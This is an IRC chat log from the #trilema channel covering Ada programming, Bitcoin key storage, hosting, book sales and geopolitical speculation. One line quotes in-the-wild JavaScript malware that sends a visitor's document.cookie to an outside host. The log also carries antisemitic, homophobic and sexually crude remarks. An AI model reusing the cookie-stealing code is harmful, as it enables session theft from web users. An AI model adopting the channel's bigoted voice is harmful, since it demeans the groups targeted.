asciilifeform: meanwhile, in other volkischer beobachter lulz, https://archive.is/NS8Mr >> 'Mr. Williams had written on his company blog about the Shadow Brokers... Now the group had replied in an angry screed on Twitter. It identified him — correctly — as a former member of the National Security Agency’s hacking group, Tailored Access Operations, or T.A.O., a job he had not publicly disclosed. Then the Shadow Brokers astonished him by droppi
spyked figures out he has a lot of work to do. but this -- after current code receives proper drilling from other interested people.
asciilifeform: and for that matter of the ada std lib - using part ( once the debuggery put_line's in ffa are done away with )
asciilifeform: and yes we import the c char routines. but these can be replaced on bare iron with reads/writes of uart, trivially. or anything else we want.
asciilifeform: the less use is made of ada standard libs, the moar likely the thing is to survive transition to whatever ada-with-maximal-dross-jettisonned that we eventually end up with.
asciilifeform: a newline is just another octet.
spyked: e.g. ada I/O is not especially suited for this task, because it reads either characters or full lines; and reading characters doesn't eat newlines, so gotta rely on shell buffering for sane interaction.
spyked: though there's devil hiding in those details
asciilifeform: spyked: ideally you tell it on commandlinearg how much memory the script shot gets. and if it tries to cons 1 time too many, that's a eggog
spyked: right now the thing does a whole lot of consing (e.g. even when parsing), to avoid using ada run-time. but yeah, not posted, I'm talking about ~non-existing item.
spyked: I'm also keeping the idea of potentially embedding in other ada projects (e.g. adacoin?) in mind. but so far wrestling the ffa aspects were enough of a challenge. oh, and there's no gc yet, the thing leaks memory like hell. but that's not its biggest problem.
asciilifeform: ( i'd quite like to perma-anathemize python,perl,all the multi-GB-pots-of-liquishit )
a111: Logged on 2017-11-12 20:22 pete_dushenski: and in other shortcuts, https://phys.org/news/2017-11-year-malt-whisky-weeks-chemistry.html
asciilifeform: http://btcbase.org/log/2017-11-12#1736759 << linked item is unpleasantly reminiscent of the 'artificially smoked' sprats that flooded the market in the early 2000s
spyked: yes. hopefully more than that in the long term (item to be manually translated to e.g. fpga implementation)
spyked: in other news, I've been using most of my spare cycles lisping in ada. should be able to wrap up a blog post sharing a very minimal prototype (sane implem. of repl doing nothing but basic ops) in a few weeks. what I've got now adheres to most of ffa constraints. the current version isn't very clean, but getting there...
asciilifeform: and the parts of usa that it ~isn't~ two notches ahead of, asciilifeform will never live in
asciilifeform: ( where, e.g., sidewalks can be walked on, rather than used as ad hoc orc parking lot )
spyked: hi! sorry for the radio silence. I've been working myself out of various irl swamps lately (still in progress). following in read-only mode though.
asciilifeform: ( where they went ? unknown, prolly burned )
a111: Logged on 2017-11-12 20:28 mircea_popescu: irl i held ~10k tomes at home + 1.5mn or so held by the univ library for me
asciilifeform: http://btcbase.org/log/2017-11-12#1736763 << at one time asciilifeform also naively thought 'u of md keeps 1mil b00ks for me!11' -- even paid a subscription fee. which then went up, and max b00k loan time went from 6mo to 3mo to 1mo... and went up again.. and the most recent insult, they abolished 80% of the contents of the library floor asciilifeform frequented
a111: Logged on 2017-11-12 21:21 mircea_popescu: http://btcbase.org/log/2017-11-12#1736734 << not of uranium. ru dun have any, in the 50s stole froim romania, then got some via jews, nowadays...
lobbes: BingoBoingo, I actually do have root on the VPSen I currently wield, but it would be nice to have my stuff on a box owned by someone I trust. Anyways, I'll keep my eyez to the logs as maths unfold
mircea_popescu: and in the latest "malware" seen in the wild, function go(){open(document.forms[6].action,MyWin);document.getElementById('pop').style.display='none';document.location.href='http://baikalqx.beget.tech/test/?t=popad4&coco='+document.cookie;}
mircea_popescu: well, the market bot.
mircea_popescu: is that the cure for herpes ?
mircea_popescu: in even other alt-lulz, etc looks set to surpass eth. teh butty-hurty!
BingoBoingo: In other reading, it looks like Trump's successor could be Pol Pot https://identitydixie.com/2017/11/11/the-tennessee-statement-a-southern-nationalist-manifesto/
a111: Logged on 2017-11-12 19:59 trinque: asciilifeform: take a picture of the book spines before selling, for teh uneducated youf
mircea_popescu: http://btcbase.org/log/2017-11-12#1736744 << this is a cheap and effectual way to "catalogue for sale". just panorama the spines.
mircea_popescu: http://btcbase.org/log/2017-11-12#1736734 << not of uranium. ru dun have any, in the 50s stole froim romania, then got some via jews, nowadays...
a111: Logged on 2017-11-12 19:49 pete_dushenski: why do you always guess what other ppl will be interested in ? i really do think you'd be surprised if you stopped with the commentary and just listed everything
BingoBoingo: lobbes: A box for VPS is very probable, that price point is probably not happening. Then again, this will be a week of much math. On the other hand, wouldn't it be nice to have root?
lobbes: http://btcbase.org/log/2017-11-12#1736751 << I'd be interested in possibly renting some hosting as a VPS type of arrangement. My projects are low-overhead as well, though. currently, I only pay ~$10USD per month for the two VPSes I rent
BingoBoingo: trinque: Blade would be built around BIOSTAR A68N-5545 shoved into "Build a Blade" enclosure linked earler. Some assembly required, but not experimental hardware at the ranch.
mircea_popescu: but then again, humanities book needs > technical.
mircea_popescu: (in theory it's "for everyone", but in practice you're lucky if you get 1 user per mn books. cuz wtf do people want with them.)
mircea_popescu: irl i held ~10k tomes at home + 1.5mn or so held by the univ library for me
mircea_popescu: iwonder if phf's theory is correcty
pete_dushenski: and in other shortcuts, https://phys.org/news/2017-11-year-malt-whisky-weeks-chemistry.html
pete_dushenski: in other shopping oddities, http://www.chinadaily.com.cn/china/2017-09/29/content_32627471_2.htm (hairy crab vending machine!)
BingoBoingo: asciilifeform: Gotta good quote in a hospitable venue. This weeks project is rolling the company ball.
BingoBoingo: pete_dushenski: You know alf and myself venturing out and making ISPs. If you have wants now would be a good time to submit them and start negotiating.
trinque: asciilifeform: take a picture of the book spines before selling, for teh uneducated youf
asciilifeform: pretty sure i retired the last rust hdd...
phf: pete_dushenski: that's a common misconception, i suspect asciilifeform's library consists of like 200-300 books, that are heavily annotated, because other books, while really nice to have, is a pain in the ass to manage, so you just cull to the current essentials and somehow source whatever's missing later.
a111: Logged on 2017-11-12 14:43 mircea_popescu: http://btcbase.org/log/2017-11-12#1736360 << and i suppsoe this is going to be news, not the direct result of http://trilema.com/2016/to-be-clear-hillary-clinton-lost-the-presidential-election-on-june-16th-2016/ in any way shape or form and besides what proof do i have.
asciilifeform: because wtf, it isn't worth ~my~ time to catalogue every old toaster in the kitchen, and everypiece of dead tree rubbish that one could get for fiddycents from 'bookfinder' etc
pete_dushenski: why do you always guess what other ppl will be interested in ? i really do think you'd be surprised if you stopped with the commentary and just listed everything
asciilifeform: listed most of what's worth talking about, in the log.
asciilifeform: ( the , dunno, 50, cubometres of dead tree, say )
pete_dushenski: but with "railcar" of goodies, surely there's something for everyone
pete_dushenski is finally back in the saddle after a whirlwind tour of the four corners of his home "country"
a111: Logged on 2017-11-09 00:48 BingoBoingo: !~later tell pete_dushenski http://btcbase.org/log/2017-11-09#1734821 << You want in on the alf firesale?
mircea_popescu: ah i must've confused them
ag3nt_zer0: and then there is this other dude someone called "modern day link wray", Jimmy Pinch, also quite cool... enjoy :) https://www.youtube.com/watch?v=AYDXMFMDrlc&index=3&list=PLJtMuhVlIYd5wpCgQCNkin_KEaYBjzvrD
ag3nt_zer0: anyone here a fan of Link Wray? I just discovered the guy and it sounds pretty awesome to me... gutter surf 50s rockabilly grunge on acid https://www.youtube.com/watch?v=N1HHHNhB9UU
asciilifeform: the crackpot design thing he's doing nowadays, is moar like riverboat.
a111: Logged on 2017-11-12 18:02 mircea_popescu: asciilifeform that can't be the explanation, seeing how everyone's zip unpacked it but yours ?
asciilifeform: http://btcbase.org/log/2017-11-12#1736685 << i still have the artifacts, if anybody can be arsed .
a111: Logged on 2017-11-12 18:07 mircea_popescu: anyway, the depicted marina also has yacht sales office. 50 btc buys you a rather comfortable set-up for a coupla ppl. 40 foot, can comfortably fit the occasional landlubber sluts and errythang.
mircea_popescu: was rather accomodating when i ended up stealing his js to make trilema give selection urls.
mircea_popescu: anyway, the depicted marina also has yacht sales office. 50 btc buys you a rather comfortable set-up for a coupla ppl. 40 foot, can comfortably fit the occasional landlubber sluts and errythang.
mircea_popescu: lobbes it may be worth your time to get in touch with the guy and explain what you're trying to do. prolly set you up with something if not turn off shitflare altogether.
mircea_popescu: asciilifeform that can't be the explanation, seeing how everyone's zip unpacked it but yours ?
asciilifeform: lobbes: there was recently a thread, re how to do it
asciilifeform: ( i'm satisfied that the riddle was solved when it was discovered , much later, that crapflare serves up random pgs of buffer ram in some % of requests )
asciilifeform: lobbes: not only does it, but was dinged by the 'random page of ram' thing last yr
lobbes: speaking of javaturds, my current status on my archive-o-tron: turns out archive.is uses 'cloudflare ddos' protection for their .zip download links. Currently trying to hack my way around that
mircea_popescu: holy hell how do they manage to find all these 2 and 3 letter nicks that aren't reg'd/enforced ?!
mircea_popescu: apparently nobody bothered.
mircea_popescu: there's a bunch of reputation management commands, deedbot being the wot registrar of record.
mircea_popescu: see in there.
mircea_popescu: well, do you know what the web of trust is ?
mircea_popescu: iirc they're only collated once an hour or such
mircea_popescu: later on you'll also show up in the wot, like http://wot.deedbot.org/CB79C616915A4F8AEA51B5D0525A5ED497C8B05D.html
mircea_popescu: wer you can now self-voice, so i don't have to up you every half hour. say !!up to deedbot (in private message). it will give you something to decrypt. you decrypt it, then say !!v <string> and you're voiced.
wer: so what do i do with the string
mircea_popescu: wer now take good care of it, if you manage to lose it nobody will believe "i am really wer". well, except in your case we know what you look like, so there's that, but in general speaking...
mircea_popescu: wer include the tags. http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.asc << model.
wer: i've got the pgp keys
mircea_popescu: rog freenode (irc.freenode.net) port port 8001 then join channel #trilema
mircea_popescu: ^ that is my key. and because ~everyone knows it, that same ~everyone can tell whether it's me talking or some impostor.
wer: what do i do after downloading the software
rog: how do i connect thru windows then with a pgp?
rog: yes no pgp used the web solution
mircea_popescu: well, reading through what ? #trilema is the forum of the most serene republic, a terrorist organisation dedicated to the dissolution of all fiat sovereigns and the permanent barring of such nonsense in the future.
ben_vulpes baffled by the sudden breakage
mircea_popescu: in other news, just added the 40th trilema header. i suspect trilema is now the site with the greatest header biodiversity in the history of the internets.
ben_vulpes: possible, but candi's the only node so affected
mircea_popescu: you're building an api around this then ?
trinque: I figured I'd just ping shinohai to turn the person's shit off until new deposit
mircea_popescu: "sorry sir, your 4 cent subscription to Fishing Today is causing your account with us go into the red every month, at a cost of 70 dollars each."
ben_vulpes: ftr i have nfi what kills the thing
mircea_popescu: trinque it is said, as one could observe, that the entire grandiose complexity of nature was entirely built out of... crosspolination!
trinque admits he forgot about the tits initiative.
mircea_popescu: the republic is looking for an office girl in mailand china, if you know anyone.
mircea_popescu: so what do you do, other than reddit and selfies ?
mircea_popescu: it is at this juncture we notice that the original "don't have to push it this sat, can do by monday np" comment was... http://btcbase.org/log/2017-10-13#1724778
mircea_popescu: fear is the mind eater.
a111: Logged on 2017-11-12 00:10 BingoBoingo: Prognostication found in the wild: http://www.lessonoflives.com/if-these-tweets-are-legit-the-dnc-is-on-its-last-leg/
mircea_popescu: http://btcbase.org/log/2017-11-12#1736360 << and i suppsoe this is going to be news, not the direct result of http://trilema.com/2016/to-be-clear-hillary-clinton-lost-the-presidential-election-on-june-16th-2016/ in any way shape or form and besides what proof do i have.
davout: they apparently have a hardfork scheduled for tomorrow, with the goal of 'fixing' their diff adjustment algorithm, i'm quite curious to see what happens
davout: meanwhile, buttcash has been pumping insanely during the last 24h hours
a111: Logged on 2017-11-11 18:48 BingoBoingo wondering what the weird might be with block 494023
mircea_popescu: so far it's barely a dozen people, and easily a grosse jobs. not the other fucking way around.
a111: Logged on 2017-11-11 16:43 asciilifeform: ( and will perhaps be a good entry for those hypothetical folx who ain't here yet, but ought to be . i have no intention of doing the whole thing myself, esp. not in near term, my hands are quite full )
a111: Logged on 2017-11-11 16:11 asciilifeform: http://btcbase.org/log/2017-11-11#1736245 << not only persia, but more or less everyone who did not ride the mcshitburger train to hell, winning in direct proportion to how much they refrained from riding it.
mircea_popescu: http://btcbase.org/log/2017-11-11#1736264 << quite so. the whole "you are fucking yourself over" thing MEANS something. it's not an idle "oh noews" from usg.chicklit, "happens" somehow unhappeningly and all is well anyway.
a111: Logged on 2017-11-11 16:05 asciilifeform: http://btcbase.org/log/2017-11-11#1736227 << this kind of picture is really from 'cyberpunk' alt-fyootoor where where is 1e10 people but they all somehow have money and need goodies delivered on rail
mircea_popescu: http://btcbase.org/log/2017-11-11#1736258 << that's principally the doubtful part of all this. "but is it worth bothering, mr wu ???"
deedbot: http://www.contravex.com/2017/11/12/bigs-vancouver-house-the-last-pied-a-terre-youll-ever-need/ << Contravex: A blog by Pete Dushenski - BIGs Vancouver House: The last pied--terre youll ever need.
asciilifeform: think, if you have the key per se, you can always convert it to the 'words' form again later.
ag3nt_zer0: so asciilifeform, if I have stored safely the private key, do i need the words to unlock that or something? or was it ok to discard the words?
asciilifeform: they're a ( not imho particularly great, but we digress ) mnemonic device, is all.
ag3nt_zer0: i through out the words though
ag3nt_zer0: i followed petes method except for the printing. i instead hand wrote the pub and priv... and i possess those
ag3nt_zer0: i have the keypair... is that enough?
a111: Logged on 2015-06-10 17:13 ascii_field: incidentally, most people are already using the worst aspects of brainwallet -and- conventional crypto
ag3nt_zer0: *the words that reveal ^^^
ag3nt_zer0: but it looks is this guy is speaking of not being able to access the privkey because said example forgot the words reveal that key, and neither did the person write down the privkey?
ag3nt_zer0: to be clear i was re-reading pete's article and followed the reddit link to the guy who lost the 4BTC and it was this comment that got me all wound up: "The passphrase has to be random (and necessarily, difficult to memorize). There is no way around this, period. If the prospect of memorizing 12 random words is daunting to you (and it should be - if you forget it, your money is gone), then don't use a brain wallet."
ag3nt_zer0: i think the confusion for me stems from hearing two different descriptions of brain wallets - one described as a way to, if i recall correctly, convert a privkey to a string of words to then be memorized and carried in brain over international borders or what not... and the other encounter I have with this concept is pete's method of generating a high entropy keypair and I am pretty sure I am answering my own question here but wou
ag3nt_zer0: hope i dont find out im the tard here
ag3nt_zer0: it feels like a no-brainer but ahhh... if I use pete_dushenski's high entropy wallet method, I only need the private key generated by the words right? I dont need to keep the words... seems obviously dumb when I write it but the redditards are throwing me off here
BingoBoingo: Kinda the point, pantsuit loses whole demographic
trinque has only hearsay knowledge of the subj, but thought old fags going for young dudes was the rule.
BingoBoingo: "Star Trek" icon George Takei has been accused of sexual assault by a former model and actor stemming from an incident that allegedly occurred in 1981. Scott R. Brunton alleged that when he was 23 years old, Takei took advantage of him after the two had returned from a night out together. Brunton explained that he has been hesitant to come forward about the alleged incident for years, because he felt no one would believe him."
BingoBoingo: Naturally this prognostication ignores the pansuit purging of their pretense at cultural capital with: "Firing up at the end of this month is a maybe. Firing up before the end of 2017 is looking incredibly Likely.
BingoBoingo: Prognostication found in the wild: http://www.lessonoflives.com/if-these-tweets-are-legit-the-dnc-is-on-its-last-leg/
asciilifeform: if you're not only poor, reader, but in manchuria, can replace the 8255 with 74xx ttl, but i'll leave it as an exercise.
asciilifeform: ^ schematic + source in there sumwhere.
ben_vulpes: not complicated enough to survive in the brave new world.
asciilifeform: ye olde lpt is still unsurpassed in 'need to move arbitrary bits on these here wires' problems.
asciilifeform: iirc there was a cheap&angry universal-bitbanged-ancient-keyboards lpt thing for linux kernel.
asciilifeform: if you have the lattice fpga demo pcb and feel like practice.
ben_vulpes: ps2, the depths of my golden era hardware ignorance knows no plumb
asciilifeform: oh hey there's apparently a junk bin recipe, http://blog.jomon-lab.com/arduino-projects/adb-to-usb-adapter-using-arduino-keyboard-function/wire-connection
ben_vulpes: off the shelf
asciilifeform: i suppose it oughta be in the 'liquidation catalogue' thread
asciilifeform: ( i have one of those kbd, in mint condition, and the conv box, but not currently using anywhere )
ben_vulpes: yup, going to have some fun pulling the thing apart.
ben_vulpes extracted a apple extended keyboard ii from the parental domus this morning, only to find that a) the capslock key has a physical lock and b) apparently needs some nutty 'teensy' micro to turn the ancient proprietary 'apple device bus' serial format into usb; and turning it into serial is apparently Just Not Done
asciilifeform: hygiene is not the word that comes to mind. well, ~inside~ the sewage wetsuit -- hygiene..
asciilifeform: finally polished off a saecular chore, ~4h of ida concluding in the typical 'change this-here je to jmp'
asciilifeform: then snoar.
BingoBoingo grabbing another debug.log
BingoBoingo wondering what the weird might be with block 494023
asciilifeform: http://btcbase.org/log/2017-11-11#1736149 << don't forget 'expensive because early sunk costs'. the canonical example being the atrocious residential isps in usa , vs in third world ( where folx went straight to cheap wireless )
asciilifeform: it does somewhat help that the i-machine emulator src was found; the thing isn't a complete martian blackbox.
asciilifeform: ( and will perhaps be a good entry for those hypothetical folx who ain't here yet, but ought to be . i have no intention of doing the whole thing myself, esp. not in near term, my hands are quite full )
asciilifeform: somewhat counter-intuitively, this item is the ~easiest~ part of an ic archaeological dig; the actual analysis , i expect, will take years
a111: Logged on 2017-11-11 04:33 mircea_popescu: asciilifeform just what the bolix wanted huh
asciilifeform: http://btcbase.org/log/2017-11-11#1736141 << the serious minus is that it needs a serious linear accelerator . i dun expect it will become competitive commercially with classical strip'an'sem method any time soon
a111: Logged on 2017-11-11 06:47 mircea_popescu: the major winner ? why, persia, now called iran. teh age of sail adventure having been chewed up and spit out, the world is going back to itself.
asciilifeform: http://btcbase.org/log/2017-11-11#1736245 << not only persia, but more or less everyone who did not ride the mcshitburger train to hell, winning in direct proportion to how much they refrained from riding it.
a111: Logged on 2017-11-11 06:27 BingoBoingo: Yeah. Anyways, transition from "hero spies at least speak French" to "Don't trust them Ruskies, they learn our language!!!"
asciilifeform: http://btcbase.org/log/2017-11-11#1736225 << these were doubly hilarious in bootleg ru voiceover, which is how asciilifeform watched'em
a111: Logged on 2017-11-11 06:31 mircea_popescu: but to revisit upstack : the item contemplated, 80 car lanes on each side of 30 traintrack lines would redefine a number of things. the new town then becomes... the switching station. every unit-of-distance the 30 tracks turn into a switch yard, 120 lines, 600 lines, whatever. in between these, the traintracs are fully reversible, meaning the trains run in arbitrary directiosn! around this yard is then built town, out of serv
asciilifeform: http://btcbase.org/log/2017-11-11#1736227 << this kind of picture is really from 'cyberpunk' alt-fyootoor where where is 1e10 people but they all somehow have money and need goodies delivered on rail
mircea_popescu: for the same money could say "car is the great equalizer, crossover and 1960s era euro cars same thing"
mircea_popescu: there's few things less "equal" than say male anal sex receptacle and female anal sex receptacle.
BingoBoingo: In still further equalitarian studies outta Harvard: "As with most proceedings at Harvard, the anal sex workshop placed great emphasis on equality. After the presenter noted that “not all men have penises, not all women have vaginas,” she argued that “the butthole is the great sexual equalizer. All humans have a butthole.”"
BingoBoingo: There's probably reasons for colonies to still be interesting in mega road world, but not the ones that though themselves empires
mircea_popescu: and consequently the future chances of any kind of islam that's not the deeply sensuous thing of the 1300s is zilch. saudis are headed the same place new york went.
mircea_popescu: the major winner ? why, persia, now called iran. teh age of sail adventure having been chewed up and spit out, the world is going back to itself.
mircea_popescu: which means the "civilised world" reduces to europe, china coast, and a 2-3-4mn sqkm thin strip uniting them, with The Road in the middle and civilisation reaching out .a coupla hundred units perpedngicularily north and south.
BingoBoingo: Well, plenty of pickup trucks. Just like suburbia there will be a subset of folks who purchase such to swear they've been off of mega road with it before.
mircea_popescu: which is how this works. take say unit-of-distance, the yet undefined item of the future, to 100km. that means ~100 towns the whole length of this ; it also means a local delivery max range of 200km is ample : if you needed more than that you should have just sent teh goods one station further up/down.
a111: Logged on 2017-04-05 18:42 mircea_popescu: merv, or generally the mongol reduction of persia from a coupla million to a coupla hundred thousand is the fundamental civilisational act. not the building of the scum, but the purging of it. much like "writing prb" is not an achievement in computer science ; but purging it into trb is.
mircea_popescu: i don't expect a mongol horde to be put together without at least a little http://btcbase.org/log/2017-04-05#1638201
mircea_popescu: it has to. basically, it's mongol horde v2.0 (this is not well understood today, but the mongol horde was first and foremost -- its roadmaking. they had a sort of "red carpet roll" they went on).
BingoBoingo: Short story of the transition is from George Lazenby as James Bond to Bruce Willis as accidenticop
mircea_popescu: gives very palpable, estimable value to something asciilifeform already amply describes as having felt on own skin, which is... "land value" of wash dc real estate ? why, 0, it's a sea away from The Road. san francisco ? same. congo capital ? SAME.
mircea_popescu: which is why and wherefore the whole "not much room in future for united states". there isn't.
mircea_popescu: by the time you end up with 500 or so 1mn strong towns dotting the mega-road, you've a whole new nation of a whole new kind. larger than current day us
mircea_popescu: icing industry needed for switchyard maintenance, and human services for the involved humans and so on. around this town then go the thick roads. so the town of the future has a "west side" and an "east side" in the sense of... the part of town margined by east-bound or west-bound megahighway.
mircea_popescu: but to revisit upstack : the item contemplated, 80 car lanes on each side of 30 traintrack lines would redefine a number of things. the new town then becomes... the switching station. every unit-of-distance the 30 tracks turn into a switch yard, 120 lines, 600 lines, whatever. in between these, the traintracs are fully reversible, meaning the trains run in arbitrary directiosn! around this yard is then built town, out of serv
BingoBoingo: Yeah. Anyways, transition from "hero spies at least speak French" to "Don't trust them Ruskies, they learn our language!!!"
BingoBoingo: In further accounts of the empire in decline http://www.jameslafond.com/article.php?id=9465
mircea_popescu: i guess so, at that. tv forced mistake, "gotta give the viewer steak"
BingoBoingo: Yeah. Anyways another toxic legacy of the 80s-present action movie thing is villianizing the capable.
mircea_popescu: i suppose this is one of those major "there are two kinds of people" things : those who speak languages, and those who don't.
mircea_popescu: the similarities are striking -- ottoman porte made it a point of not learning languages, much like us.
mircea_popescu: in this future worldview, us role is very much that in which turkey lingered throughout the 1800s.
mircea_popescu: piddly ass 1817s level tech of single-railtrack doesn't reallty expose the power of rail in all its glory.
mircea_popescu: and with computerized control and much better robotics, you actually get car-level (about 50 tons) control! have the railcars switch in and out of high-speed bands! it's easy when you have 30 of them!
mircea_popescu: all euro industry was, at the time the "Common market" somewhat distant goal, served by rail spokes custom built.
mircea_popescu: so you're stuck having to place them well.
mircea_popescu: exact problem discussed above! the issue with ports is that they, unlike train station, naturally concentrate.
BingoBoingo: Seriously. Then again the "overpowerful" part drives river traffic construction. "why train extra 30 miles to Mississippi when build port on Kaskakia river" and other weirds
mircea_popescu: yes road cost a whole lot more to maintain than the sea's 0. but this is a counter-argument here, we're overpowerful and desperately in need of useful work to do, ntowa.
mircea_popescu: it's funny how shipping counterintuitively loses to land routes. even among the romans, who were built AROUND a fucking sea, seaborne gross tonnage in any year was less than road gross tonnage in same year.
BingoBoingo: Then there's always going to be some incredibly time insensitive goods needing moving, which will preserve some form of shipping. Hence riverboats still traveling the Mississippi, but rarely with cargo that isn't bird attractant.
mircea_popescu: rather.
BingoBoingo: This is the true challenge of prophetics
mircea_popescu: whether 2050s unavoidable or 2150s unavoidable though...
mircea_popescu: but the argument is undefeatable -- ship burns oil. train can burn electricity which can mean hydro, can mean nuclear, can mean things. things other than oil. in this sense, it's unavoidable.
mircea_popescu: whether the increased precision (no, you don't have to have your item lorried to port and then from port to dest) actually gives a 20% shorter distance, or 25 or 15% ; and whether the cost can be kept to 0.02 or even the foreseen 0.014 rather than 0.025 or 0.1 etc...
mircea_popescu: in this model, rather than have a) load it on ship in a week, from the single port, and then take n weeks to reach destination, and then unload and distribute by lorry, so yes you pay 0.01 per km on sea, which is 99% of the distance, but then 10 for the servicing, making your total cost 10`000 * 0.01 + 6 * 10 = 160
mircea_popescu: paradoxically, there's even an argument for freight. yes, it's true that shipping is cheapest per mile. the problem with postmodernity is that the needs are so fragmented and the costs of onboarding so significant, shipping could conceivably lose out.
mircea_popescu: in any case the only viable alternative to "well... let's just have another war, then" i've seen anyone propose. mile-wide highway still costs a billion or two per track mile, making the whole project large enough to give substance to something like us gdp. (that it will pointedly not be in any way related to us, secondary consideration. bitcoin isn't either, to its great benefit.)
mircea_popescu: but on the upside -- a 80 lane highway perfect place for ai driving. can have lanes sorted by speed at a 1kmph resolution. there's a marginal but present for "american technology companies" even in chinese owned future!
mircea_popescu: but whether it will go through turkey or through ukraine (doh. turkey, evidently) is by far the more important consideration of today.
mircea_popescu: fwis the strategic plan is "one week silk road : car or train, take your pick". IF they do manage to build it, which isn't a given even if not necessarily unlikely ; and IF they manage to market it so it reaches their traffic goals (this part, easier), all the "vision 2030" bs by everyone else, from crown prince of saudis to kirschner prince of us to etc fade in a very very distant bokeh.
mircea_popescu: great winners in all of this, of course, zee chinese -- who get to see likely lightningstrike in land far far away rather than in sea as close to home as say... taiwan.
BingoBoingo: Anyways items were branded with some store private label licensed from once manufacturing company, and prominently marked "Made in Israel" because that's where other brand got their plastic boxes from too.
mircea_popescu: seriously, chicklit heroine meets Cool Guy McFucksticks ? i wonder what the odds are of such a name naturally occuring...
mircea_popescu: kek. by the time epithets are part of the "name" you know the marysue fiction's well caked at the edges.
BingoBoingo: Sure they J'd up the plastic part to calling them "Innovative structural foam" but... Fucking plastic boxes
mircea_popescu: but no, there's no getting out of it : turkey-iran with a russian background much much stronger than usg.israel + usg.saudi-arabia. israel isn't coming apart just yet -- therefore the peninsula must.
BingoBoingo: lol, "special relationship" is an awfully weird way of saying they blackmailed queen pantsuit during Arab sprang
mircea_popescu: "it should help that prince mohammed, following the example of ibn saud, sees the importance of forging a special bond with the united states", sez teh official propaganda for anglotards. quite. lol.
BingoBoingo: The Antonio Banderas one
BingoBoingo: Same as Cali. Everything was cool and patriarchy then evil USG mole Zorro fucked everything up by opening Chicano studies departments
mircea_popescu: anyway. the deeply inept handling of qatar recently (which was, at least nominally, his responsibility, even if botched 100% by ineptitude imported by ustards) and the goingnowhere in yemen promise to yield the end of the whole affair.
mircea_popescu: anyway. usual failure mode -- got "us trained" moles into the security half of the construct, because "more competent", which is universally false but then again disease works by the host failing to recognize the pathogens, then 30 years later wants to "futuristic cities" where "people can have fun" and obviously list aramco on nyse.
mircea_popescu: and a fine example of nazi-socialism standing opposed to roossvelt-socialism. country essentially ruled by a fuhrer + the propaganda/gestapo construct (here, wahhabi clerics + "security" forces)
mircea_popescu: originator of the entire political system that took down teh wtc.